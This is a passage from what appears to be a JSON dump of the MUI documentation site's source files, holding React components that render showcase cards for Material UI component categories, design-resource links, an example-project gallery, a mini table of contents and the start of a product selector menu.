    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst labComponents = [\n  {\n    name: 'Masonry',\n    srcLight: '/static/material-ui/react-components/masonry-light.png',\n    srcDark: '/static/material-ui/react-components/masonry-dark.png',\n    link: '/material-ui/react-masonry/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Timeline',\n    srcLight: '/static/material-ui/react-components/timeline-light.png',\n    srcDark: '/static/material-ui/react-components/timeline-dark.png',\n    link: '/material-ui/react-timeline/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n];\n\nexport default function MaterialLabComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {labComponents.map(({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n        <Grid\n          sx={{ flexGrow: 1 }}\n          key={name}\n          size={{\n            xs: 12,\n            sm: 4,\n          }}\n        >\n          <ComponentShowcaseCard\n            link={link}\n            name={name}\n            srcLight={srcLight}\n            srcDark={srcDark}\n            md1={md1}\n            md2={md2}\n            md3={md3}\n            noGuidelines={noGuidelines}\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialLayoutComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst layoutComponents = [\n  {\n    name: 'Box',\n    srcLight: '/static/material-ui/react-components/box-light.png',\n    srcDark: '/static/material-ui/react-components/box-dark.png',\n    link: '/material-ui/react-box/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Container',\n    srcLight: '/static/material-ui/react-components/container-light.png',\n    srcDark: '/static/material-ui/react-components/container-dark.png',\n    link: '/material-ui/react-container/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Grid',\n    srcLight: '/static/material-ui/react-components/grid-v2-light.png',\n    srcDark: '/static/material-ui/react-components/grid-v2-dark.png',\n    link: '/material-ui/react-grid/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Stack',\n    srcLight: '/static/material-ui/react-components/stack-light.png',\n    srcDark: '/static/material-ui/react-components/stack-dark.png',\n    link: '/material-ui/react-stack/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Image List',\n    srcLight: '/static/material-ui/react-components/image-list-light.png',\n    srcDark: '/static/material-ui/react-components/image-list-dark.png',\n    link: '/material-ui/react-image-list/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n];\n\nexport default function MaterialLayoutComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {layoutComponents.map(({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n        <Grid\n          sx={{ flexGrow: 1 }}\n          key={name}\n          size={{\n            xs: 12,\n            sm: 4,\n          }}\n        >\n          <ComponentShowcaseCard\n            link={link}\n            name={name}\n            srcLight={srcLight}\n            srcDark={srcDark}\n            md1={md1}\n            md2={md2}\n            md3={md3}\n            noGuidelines={noGuidelines}\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialNavigationComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst navigationComponents = [\n  {\n    name: 'Bottom Navigation',\n    srcLight: '/static/material-ui/react-components/bottomnav-light.png',\n    srcDark: '/static/material-ui/react-components/bottomnav-dark.png',\n    link: '/material-ui/react-bottom-navigation/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Breadcrumbs',\n    srcLight: '/static/material-ui/react-components/breadcrumbs-light.png',\n    srcDark: '/static/material-ui/react-components/breadcrumbs-dark.png',\n    link: '/material-ui/react-breadcrumbs/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Drawer',\n    srcLight: '/static/material-ui/react-components/drawer-light.png',\n    srcDark: '/static/material-ui/react-components/drawer-dark.png',\n    link: '/material-ui/react-drawer/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Link',\n    srcLight: '/static/material-ui/react-components/link-light.png',\n    srcDark: '/static/material-ui/react-components/link-dark.png',\n    link: '/material-ui/react-link/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Menu',\n    srcLight: '/static/material-ui/react-components/menu-light.png',\n    srcDark: '/static/material-ui/react-components/menu-dark.png',\n    link: '/material-ui/react-menu/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Pagination',\n    srcLight: '/static/material-ui/react-components/pagination-light.png',\n    srcDark: '/static/material-ui/react-components/pagination-dark.png',\n    link: '/material-ui/react-pagination/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Speed Dial',\n    srcLight: '/static/material-ui/react-components/speed-dial-light.png',\n    srcDark: '/static/material-ui/react-components/speed-dial-dark.png',\n    link: '/material-ui/react-speed-dial/',\n    md1: false,\n    md2: false,\n    md3: false,\n    noGuidelines: true,\n  },\n  {\n    name: 'Stepper',\n    srcLight: '/static/material-ui/react-components/stepper-light.png',\n    srcDark: '/static/material-ui/react-components/stepper-dark.png',\n    link: '/material-ui/react-stepper/',\n    md1: true,\n    md2: false,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Tabs',\n    srcLight: '/static/material-ui/react-components/tabs-light.png',\n    srcDark: '/static/material-ui/react-components/tabs-dark.png',\n    link: '/material-ui/react-tabs/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n];\n\nexport default function MaterialNavigationComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {navigationComponents.map(\n        ({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n          <Grid\n            sx={{ flexGrow: 1 }}\n            key={name}\n            size={{\n              xs: 12,\n              sm: 4,\n            }}\n          >\n            <ComponentShowcaseCard\n              link={link}\n              name={name}\n              srcLight={srcLight}\n              srcDark={srcDark}\n              md1={md1}\n              md2={md2}\n              md3={md3}\n              noGuidelines={noGuidelines}\n            />\n          </Grid>\n        ),\n      )}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialSurfaceComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport ComponentShowcaseCard from 'docs/src/components/action/ComponentShowcaseCard';\n\nconst surfaceComponents = [\n  {\n    name: 'Accordion',\n    srcLight: '/static/material-ui/react-components/accordion-light.png',\n    srcDark: '/static/material-ui/react-components/accordion-dark.png',\n    link: '/material-ui/react-accordion/',\n    md1: true,\n    md2: false,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'App Bar',\n    srcLight: '/static/material-ui/react-components/appbar-light.png',\n    srcDark: '/static/material-ui/react-components/appbar-dark.png',\n    link: '/material-ui/react-app-bar/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Card',\n    srcLight: '/static/material-ui/react-components/card-light.png',\n    srcDark: '/static/material-ui/react-components/card-dark.png',\n    link: '/material-ui/react-card/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n  {\n    name: 'Paper',\n    srcLight: '/static/material-ui/react-components/paper-light.png',\n    srcDark: '/static/material-ui/react-components/paper-dark.png',\n    link: '/material-ui/react-paper/',\n    md1: false,\n    md2: true,\n    md3: false,\n    noGuidelines: false,\n  },\n];\n\nexport default function MaterialSurfaceComponents() {\n  return (\n    <Grid container spacing={2} sx={{ pt: 1 }}>\n      {surfaceComponents.map(({ name, link, srcLight, srcDark, md1, md2, md3, noGuidelines }) => (\n        <Grid\n          sx={{ flexGrow: 1 }}\n          key={name}\n          size={{\n            xs: 12,\n            sm: 4,\n          }}\n        >\n          <ComponentShowcaseCard\n            link={link}\n            name={name}\n            srcLight={srcLight}\n            srcDark={srcDark}\n            md1={md1}\n            md2={md2}\n            md3={md3}\n            noGuidelines={noGuidelines}\n          />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIComponents/MaterialUtilComponents.js",
    "content": "import Grid from '@mui/material/Grid';\nimport { InfoCard } from '@mui/docs/InfoCard';\nimport HighlightAltRoundedIcon from '@mui/icons-material/HighlightAltRounded';\nimport CssRoundedIcon from '@mui/icons-material/CssRounded';\nimport DnsRoundedIcon from '@mui/icons-material/DnsRounded';\nimport PictureInPictureRoundedIcon from '@mui/icons-material/PictureInPictureRounded';\nimport MenuOpenRoundedIcon from '@mui/icons-material/MenuOpenRounded';\nimport MoveUpRoundedIcon from '@mui/icons-material/MoveUpRounded';\nimport TextFieldsRoundedIcon from '@mui/icons-material/TextFieldsRounded';\nimport FlipToFrontRoundedIcon from '@mui/icons-material/FlipToFrontRounded';\nimport ZoomOutMapRoundedIcon from '@mui/icons-material/ZoomOutMapRounded';\nimport DevicesOtherRoundedIcon from '@mui/icons-material/DevicesOtherRounded';\n\nconst utilComponents = [\n  {\n    title: 'Click-Away Listener',\n    link: '/material-ui/react-click-away-listener/',\n    icon: <HighlightAltRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'CSS Baseline',\n    link: '/material-ui/react-css-baseline/',\n    icon: <CssRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Modal',\n    link: '/material-ui/react-modal/',\n    icon: <PictureInPictureRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'No SSR',\n    link: '/material-ui/react-no-ssr/',\n    icon: <DnsRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Popover',\n    link: '/material-ui/react-popover/',\n    icon: <MenuOpenRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Popper',\n    link: '/material-ui/react-popper/',\n    icon: <FlipToFrontRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Portal',\n    link: '/material-ui/react-portal/',\n    icon: <MoveUpRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Textarea Autosize',\n    link: '/material-ui/react-textarea-autosize/',\n    icon: <TextFieldsRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'Transitions',\n    link: '/material-ui/transitions/',\n    icon: <ZoomOutMapRoundedIcon color=\"primary\" />,\n  },\n  {\n    title: 'useMediaQuery',\n    link: '/material-ui/react-use-media-query/',\n    icon: <DevicesOtherRoundedIcon color=\"primary\" />,\n  },\n];\n\nexport default function MaterialUtilComponents() {\n  return (\n    <Grid container spacing={2}>\n      {utilComponents.map(({ icon, title, link }) => (\n        <Grid key={title} size={{ xs: 12, sm: 4 }}>\n          <InfoCard link={link} title={title} icon={icon} />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIDesignResources.js",
    "content": "import Grid from '@mui/material/Grid';\nimport { InfoCard } from '@mui/docs/InfoCard';\n\nconst content = [\n  {\n    title: 'Material UI for Figma',\n    link: 'https://mui.com/store/items/figma-react/?utm_source=docs&utm_medium=referral&utm_campaign=installation-figma',\n    svg: (\n      <img\n        src={`/static/branding/design-kits/figma-logo.svg`}\n        alt=\"Figma logo\"\n        loading=\"lazy\"\n        width=\"36\"\n        height=\"36\"\n      />\n    ),\n  },\n  {\n    title: 'Material UI for Sketch',\n    link: 'https://mui.com/store/items/sketch-react/?utm_source=docs&utm_medium=referral&utm_campaign=installation-sketch',\n    svg: (\n      <img\n        src={`/static/branding/design-kits/sketch-logo.svg`}\n        alt=\"Sketch logo\"\n        loading=\"lazy\"\n        width=\"36\"\n        height=\"36\"\n      />\n    ),\n  },\n];\n\nexport default function MaterialUIDesignResources() {\n  return (\n    <Grid container spacing={2}>\n      {content.map(({ svg, title, link }) => (\n        <Grid key={title} size={{ xs: 12, sm: 6 }}>\n          <InfoCard classNameTitle=\"algolia-lvl3\" link={link} title={title} svg={svg} />\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MaterialUIExampleCollection.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Grid from '@mui/material/Grid';\nimport Paper from '@mui/material/Paper';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\nimport ChevronRightRoundedIcon from '@mui/icons-material/ChevronRightRounded';\nimport CloudRoundedIcon from '@mui/icons-material/CloudRounded';\n\n// #target-branch-reference\nconst examples = [\n  {\n    name: 'Next.js App Router',\n    label: 'View JavaScript',\n    tsLabel: 'View TypeScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs',\n    tsLink: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts',\n    src: '/static/images/examples/next.svg',\n  },\n  {\n    name: 'Next.js Pages Router',\n    label: 'View JavaScript',\n    tsLabel: 'View TypeScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router',\n    tsLink:\n      'https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-pages-router-ts',\n    src: '/static/images/examples/next.svg',\n  },\n  {\n    name: 'Vite.js',\n    label: 'View JavaScript',\n    tsLabel: 'View TypeScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-vite',\n    tsLink: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-vite-ts',\n    src: '/static/images/examples/vite.svg',\n  },\n  {\n    name: 'Remix',\n    label: 'View TypeScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-remix-ts',\n    src: '/static/images/examples/remix.svg',\n  },\n  {\n    name: 'Tailwind CSS + Vite',\n    label: 'View TypeScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-vite-tailwind-ts',\n    src: '/static/images/examples/tailwindcss.svg',\n  },\n  {\n    name: 'Preact',\n    label: 'View JavaScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-preact',\n    src: '/static/images/examples/preact.svg',\n  },\n  {\n    name: 'CDN',\n    label: 'View JavaScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-via-cdn',\n    src: <CloudRoundedIcon />,\n  },\n  {\n    name: 'Express.js (server-rendered)',\n    label: 'View JavaScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-express-ssr',\n    src: '/static/images/examples/express.png',\n  },\n  {\n    name: 'Gatsby',\n    label: 'View JavaScript',\n    link: 'https://github.com/mui/material-ui/tree/master/examples/material-ui-gatsby',\n    src: '/static/images/examples/gatsby.svg',\n  },\n];\n\nexport default function MaterialUIExampleCollection() {\n  return (\n    <Grid container spacing={2}>\n      {examples.map((example) => (\n        <Grid key={example.name} size={{ xs: 12, sm: 6 }}>\n          <Paper\n            variant=\"outlined\"\n            sx={(theme) => ({\n              p: 2,\n              display: 'flex',\n              alignItems: 'center',\n              gap: 2,\n              background: `${(theme.vars || theme).palette.gradients.radioSubtle}`,\n            })}\n          >\n            <Avatar\n              alt={example.name}\n              slotProps={{\n                img: {\n                  width: '38',\n                  height: '38',\n                  loading: 'lazy',\n                },\n              }}\n              {...(typeof example.src === 'string'\n                ? { src: example.src }\n                : { children: example.src })}\n            />\n            <div>\n              <Typography className=\"algolia-lvl3\" sx={{ fontWeight: 'medium' }}>\n                {example.name}\n              </Typography>\n              <Box\n                data-ga-event-category=\"material-ui-example\"\n                data-ga-event-label={example.name}\n                data-ga-event-action=\"click\"\n                sx={{ display: 'flex', flexWrap: 'wrap', alignItems: 'center', mt: 0.5, gap: 0.2 }}\n              >\n                <Link\n                  href={example.link}\n                  variant=\"body2\"\n                  sx={{\n                    '& > svg': { transition: '0.2s' },\n                    '&:hover > svg': { transform: 'translateX(2px)' },\n                  }}\n                >\n                  {example.label}\n                  <ChevronRightRoundedIcon fontSize=\"small\" sx={{ verticalAlign: 'middle' }} />\n                </Link>\n                {!!example.tsLink && (\n                  <React.Fragment>\n                    <Typography\n                      variant=\"caption\"\n                      sx={{ display: { xs: 'none', sm: 'block' }, opacity: 0.1, mr: 1 }}\n                    >\n                      /\n                    </Typography>\n                    <Link\n                      href={example.tsLink}\n                      variant=\"body2\"\n                      sx={{\n                        '& > svg': { transition: '0.2s' },\n                        '&:hover > svg': { transform: 'translateX(2px)' },\n                      }}\n                    >\n                      {example.tsLabel}\n                      <ChevronRightRoundedIcon fontSize=\"small\" sx={{ verticalAlign: 'middle' }} />\n                    </Link>\n                  </React.Fragment>\n                )}\n              </Box>\n            </div>\n          </Paper>\n        </Grid>\n      ))}\n    </Grid>\n  );\n}\n"
  },
  {
    "path": "docs/src/modules/components/MiniTableOfContents.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled, alpha } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Popper from '@mui/material/Popper';\nimport Paper from '@mui/material/Paper';\nimport Fade from '@mui/material/Fade';\nimport ClickAwayListener from '@mui/material/ClickAwayListener';\nimport { samePageLinkNavigation } from 'docs/src/modules/components/MarkdownLinks';\nimport TableOfContents, { TOC_WIDTH } from 'docs/src/modules/components/TableOfContents';\n\nfunction flatten(headings) {\n  const items = [];\n  headings.forEach((item) => {\n    items.push({ ...item, level: 1 });\n    if (item.children.length > 0) {\n      item.children.forEach((subitem) => {\n        items.push({ ...subitem, level: 2 });\n      });\n    }\n  });\n  return items;\n}\n\nfunction getBarWidth(text, level) {\n  const length = text.replace(/<[^>]*>/g, '').length;\n  const base = level === 2 ? 8 : 10;\n  const width = Math.min(base + length * 0.5, 24);\n  return Math.round(width);\n}\n\nconst Bar = styled('a', {\n  shouldForwardProp: (prop) =>\n    prop !== 'active' && prop !== 'barWidth' && prop !== 'level' && prop !== 'highlighted',\n})(({ theme, barWidth }) => ({\n  display: 'flex',\n  justifyContent: 'flex-end',\n  padding: '6px 0',\n  cursor: 'pointer',\n  '&::after': {\n    content: '\"\"',\n    display: 'block',\n    height: 3,\n    width: barWidth,\n    borderRadius: 2,\n    backgroundColor: (theme.vars || theme).palette.grey[300],\n    transition: 'background-color 0.15s ease, width 0.15s ease',\n  },\n  '&:hover::after': {\n    backgroundColor: (theme.vars || theme).palette.grey[500],\n  },\n  '&:focus-visible': {\n    outline: 'none',\n  },\n  '&:focus-visible::after': {\n    outline: '2px solid',\n    outlineColor: (theme.vars || theme).palette.grey[500],\n    outlineOffset: '2px',\n  },\n  variants: [\n    {\n      props: { active: true },\n      style: [\n        {\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[400],\n          },\n          '&:hover::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[600],\n          },\n        },\n        theme.applyDarkStyles({\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[500],\n          },\n          '&:hover::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[400],\n          },\n        }),\n      ],\n    },\n    {\n      props: { active: false },\n      style: theme.applyDarkStyles({\n        '&::after': {\n          backgroundColor: (theme.vars || theme).palette.grey[700],\n        },\n        '&:hover::after': {\n          backgroundColor: (theme.vars || theme).palette.grey[500],\n        },\n      }),\n    },\n    {\n      props: { highlighted: true, active: true },\n      style: [\n        {\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[600],\n          },\n        },\n        theme.applyDarkStyles({\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.primary[400],\n          },\n        }),\n      ],\n    },\n    {\n      props: { highlighted: true, active: false },\n      style: [\n        {\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.grey[500],\n          },\n        },\n        theme.applyDarkStyles({\n          '&::after': {\n            backgroundColor: (theme.vars || theme).palette.grey[500],\n          },\n        }),\n      ],\n    },\n  ],\n}));\n\nexport default function MiniTableOfContents(props) {\n  const { toc, activeState, itemLink, onItemClick, wideLayout } = props;\n  const containerRef = React.useRef(null);\n  const [popperOpen, setPopperOpen] = React.useState(false);\n  const [hoveredIndex, setHoveredIndex] = React.useState(null);\n\n  const items = React.useMemo(() => flatten(toc), [toc]);\n\n  const hashToIndex = React.useMemo(() => {\n    const map = new Map();\n    items.forEach((item, index) => {\n      map.set(item.hash, index);\n    });\n    return map;\n  }, [items]);\n\n  const getWidthIncrease = (index) => {\n    if (hoveredIndex === null) {\n      return 0;\n    }\n    const distance = Math.abs(index - hoveredIndex);\n    if (distance === 0) {\n      return 8;\n    }\n    if (distance === 1) {\n      return 4;\n    }\n    if (distance === 2) {\n      return 2;\n    }\n    return 0;\n  };\n\n  const handleMouseEnter = () => {\n    setPopperOpen(true);\n  };\n\n  const handleClose = () => {\n    setPopperOpen(false);\n    setHoveredIndex(null);\n  };\n\n  const handleBarFocus = (index) => {\n    setPopperOpen(true);\n    setHoveredIndex(index);\n  };\n\n  const handleContainerBlur = (event) => {\n    if (!containerRef.current?.contains(event.relatedTarget)) {\n      handleClose();\n    }\n  };\n\n  const handleBarClick = (event, hash) => {\n    if (samePageLinkNavigation(event)) {\n      return;\n    }\n    event.preventDefault();\n    onItemClick(hash)(event);\n    const node = document.getElementById(hash);\n    if (node) {\n      node.scrollIntoView({ block: 'start' });\n      window.history.pushState(null, '', `#${hash}`);\n    }\n  };\n\n  const hoveredHash = hoveredIndex !== null ? items[hoveredIndex]?.hash : null;\n\n  const popperItemLink = (item, level) => {\n    const element = itemLink(item, level, handleClose);\n    const isHovered = hoveredHash === item.hash;\n    const hoverHandlers = {\n      onMouseEnter: () => setHoveredIndex(hashToIndex.get(item.hash) ?? null),\n      onMouseLeave: () => setHoveredIndex(null),\n    };\n    if (!isHovered) {\n      return React.cloneElement(element, hoverHandlers);\n    }\n    const isActive = activeState === item.hash;\n    return React.cloneElement(element, {\n      ...hoverHandlers,\n      sx: (theme) => ({\n        borderLeftColor: isActive\n          ? (theme.vars || theme).palette.primary[600]\n          : (theme.vars || theme).palette.grey[400],\n        color: isActive\n          ? (theme.vars || theme).palette.primary[600]\n          : (theme.vars || theme).palette.grey[600],\n        ...theme.applyDarkStyles({\n          borderLeftColor: isActive\n            ? (theme.vars || theme).palette.primary[400]\n            : (theme.vars || theme).palette.grey[500],\n          color: isActive\n            ? (theme.vars || theme).palette.primary[400]\n            : (theme.vars || theme).palette.grey[200],\n        }),\n      }),\n    });\n  };\n\n  return (\n    <ClickAwayListener onClickAway={handleClose}>\n      <Box\n        component=\"nav\"\n        aria-label=\"Table of contents\"\n        ref={containerRef}\n        onMouseEnter={handleMouseEnter}\n        onMouseLeave={handleClose}\n        onBlur={handleContainerBlur}\n        sx={(theme) => ({\n          position: 'sticky',\n          top: '20%',\n          transform: 'translateY(-20%)',\n          height: 'fit-content',\n          display: { xs: 'none', sm: 'flex', ...(wideLayout ? {} : { md: 'none' }) },\n          flexDirection: 'column',\n          alignItems: 'stretch',\n          minWidth: 36,\n          py: 2,\n          marginRight: 1.5,\n          ...(wideLayout && {\n            [`@media (min-width:${theme.breakpoints.values.xl + TOC_WIDTH}px)`]: {\n              display: 'none',\n            },\n          }),\n        })}\n      >\n        {items.map((item, index) => (\n          <Bar\n            key={item.hash}\n            href={`#${item.hash}`}\n            aria-label={item.text.replace(/<[^>]*>/g, '')}\n            active={activeState === item.hash}\n            highlighted={hoveredIndex === index}\n            barWidth={getBarWidth(item.text, item.level) + getWidthIncrease(index)}\n            level={item.level}\n            onMouseEnter={() => setHoveredIndex(index)}\n            onMouseLeave={() => setHoveredIndex(null)}\n            onFocus={() => handleBarFocus(index)}\n            onClick={(event) => handleBarClick(event, item.hash)}\n          />\n        ))}\n        <Popper\n          open={popperOpen}\n          anchorEl={containerRef.current}\n          placement=\"left-start\"\n          transition\n          sx={{ zIndex: 2000 }}\n          aria-hidden\n        >\n          {({ TransitionProps }) => (\n            <Fade {...TransitionProps} timeout={250}>\n              <Paper\n                variant=\"outlined\"\n                sx={(theme) => ({\n                  p: 1,\n                  mr: 1,\n                  maxHeight: 'calc(100vh - 200px)',\n                  width: TOC_WIDTH,\n                  overflowY: 'auto',\n                  scrollbarWidth: 'thin',\n                  borderColor: 'grey.200',\n                  bgcolor: 'background.paper',\n                  boxShadow: `0px 4px 16px ${alpha(theme.palette.grey[200], 0.8)}`,\n                  ...theme.applyDarkStyles({\n                    borderColor: 'primaryDark.700',\n                    bgcolor: 'primaryDark.900',\n                    boxShadow: `0px 4px 16px ${alpha(theme.palette.common.black, 0.8)}`,\n                  }),\n                })}\n              >\n                <TableOfContents toc={toc} itemLink={popperItemLink} />\n              </Paper>\n            </Fade>\n          )}\n        </Popper>\n      </Box>\n    </ClickAwayListener>\n  );\n}\n\nMiniTableOfContents.propTypes = {\n  activeState: PropTypes.string,\n  itemLink: PropTypes.func.isRequired,\n  onItemClick: PropTypes.func.isRequired,\n  sx: PropTypes.oneOfType([PropTypes.object, PropTypes.array]),\n  toc: PropTypes.array.isRequired,\n  wideLayout: PropTypes.bool,\n};\n"
  },
  {
    "path": "docs/src/modules/components/MuiProductSelector.tsx",
    "content": "import * as React from 'react';\nimport NextLink from 'next/link';\nimport { styled, alpha, Theme } from '@mui/material/styles';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Divider from '@mui/material/Divider';\nimport MenuList, { MenuListProps } from '@mui/material/MenuList';\nimport MenuItem, { MenuItemProps } from '@mui/material/MenuItem';\nimport ROUTES from 'docs/src/route';\nimport PageContext from '@mui/docs/PageContext';\nimport SvgMuiLogomark from 'docs/src/icons/SvgMuiLogomark';\nimport SvgBaseUiLogo from 'docs/src/icons/SvgBaseUiLogo';\nimport BackupTableRoundedIcon from '@mui/icons-material/BackupTableRounded';\nimport CalendarMonthRoundedIcon from '@mui/icons-material/CalendarMonthRounded';\nimport AccountTreeRoundedIcon from '@mui/icons-material/AccountTreeRounded';\nimport BarChartRoundedIcon from '@mui/icons-material/BarChartRounded';\nimport StyleRoundedIcon from '@mui/icons-material/StyleRounded';\nimport WebRoundedIcon from '@mui/icons-material/WebRounded';\n\nconst iconStyles = (theme: Theme) => ({\n  fontSize: '.875rem',\n  color: (theme.vars || theme).palette.primary.main,\n});\n\nconst logoColor = (theme: Theme) => ({\n  '& path': {\n    ...theme.applyDarkStyles({\n      fill: (theme.vars || theme).palette.primary[400],\n    }),\n  },\n});\n\nconst NavLabel = styled(Typography)(({ theme }) => ({\n  padding: theme.spacing(0.5, 1, 0.5, 1),\n  fontSize: theme.typography.pxToRem(11),\n  fontWeight: theme.typography.fontWeightSemiBold,\n  textTransform: 'uppercase',\n  letterSpacing: '.1rem',\n  color: (theme.vars || theme).palette.text.tertiary,\n}));\n\ninterface ProductItemProps extends MenuItemProps {\n  active?: boolean;\n  chip?: React.ReactNode;\n  description?: string;\n  href: string;\n  icon?: React.ReactNode;\n  name: string;\n}\n\nfunction ProductItem({\n  active,\n  chip,\n  description,\n  href,\n  icon,\n  name,\n  sx = [],\n  ...other\n}: ProductItemProps) {\n  return (\n    <MenuItem\n      component={NextLink} // using the Next link directly here as it accepts, as opposed to the docs Link, passing role=\"menuitem\"\n      role=\"menuitem\"\n      href={href}\n      sx={[\n        (theme) => ({\n          p: 1,\n          pl: '6px',\n          display: 'flex',\n          alignItems: 'start',\n          gap: '8px',\n          flexGrow: 1,\n          backgroundColor: active ? alpha(theme.palette.primary[50], 0.8) : undefined,\n          border: '1px solid',\n          borderColor: active ? 'primary.100' : 'transparent',\n          borderRadius: '8px',\n          transition: '100ms ease-in background-color, border',\n          textDecorationLine: 'none',\n          '&:hover': {\n            backgroundColor: active ? alpha(theme.palette.primary[50], 0.8) : 'grey.50',\n            borderColor: 'divider',\n          },\n          '&.Mui-focusVisible': {\n            backgroundColor: active ? (theme.vars || theme).palette.primary[50] : 'transparent',\n          },\n          ...theme.applyDarkStyles({\n            backgroundColor: active ? alpha(theme.palette.primary[900], 0.2) : undefined,\n            borderColor: active ? alpha(theme.palette.primary[300], 0.2) : 'transparent',\n            '&:hover': {\n              backgroundColor: active\n                ? alpha(theme.palette.primary[900], 0.3)\n                : alpha(theme.palette.primaryDark[700], 0.5),\n            },\n            '&.Mui-focusVisible': {\n              backgroundColor: active ? alpha(theme.palette.primary[900], 0.5) : 'transparent',\n            },\n          }),\n        }),\n        // You cannot spread `sx` directly because `SxProps` (typeof sx) can be an array.\n        ...(Array.isArray(sx) ? sx : [sx]),\n      ]}\n      {...other}\n    >\n      <Box\n        sx={{\n          height: 21, // match the Typography line-height\n          width: 21,\n          display: 'flex',\n          alignItems: 'center',\n          justifyContent: 'center',\n        }}\n      >\n        {icon}\n      </Box>\n      <div>\n        <Box sx={{ display: 'flex', alignItems: 'center', gap: '6px' }}>\n          <Typography variant=\"body2\" sx={{ color: 'text.primary', fontWeight: 'semiBold' }}>\n            {name}\n          </Typography>\n          {chip}\n        </Box>\n        <Typography sx={{ color: 'text.secondary', fontSize: '.813rem' }}>{description}</Typography>\n      </div>\n    </MenuItem>\n  );\n}\n\nconst coreProducts = [\n  {\n    id: 'material-ui',\n    name: 'Material UI',\n    description: 'Comprehensive foundational components.',\n    icon: <SvgMuiLogomark width={14} height={14} sx={logoColor} />,\n    href: ROUTES.materialDocs,\n  },\n  {\n    id: 'base-ui',\n    name: 'Base UI',\n    description: 'Unstyled components for accessible UIs.',\n    icon: <SvgBaseUiLogo width={14} height={16} 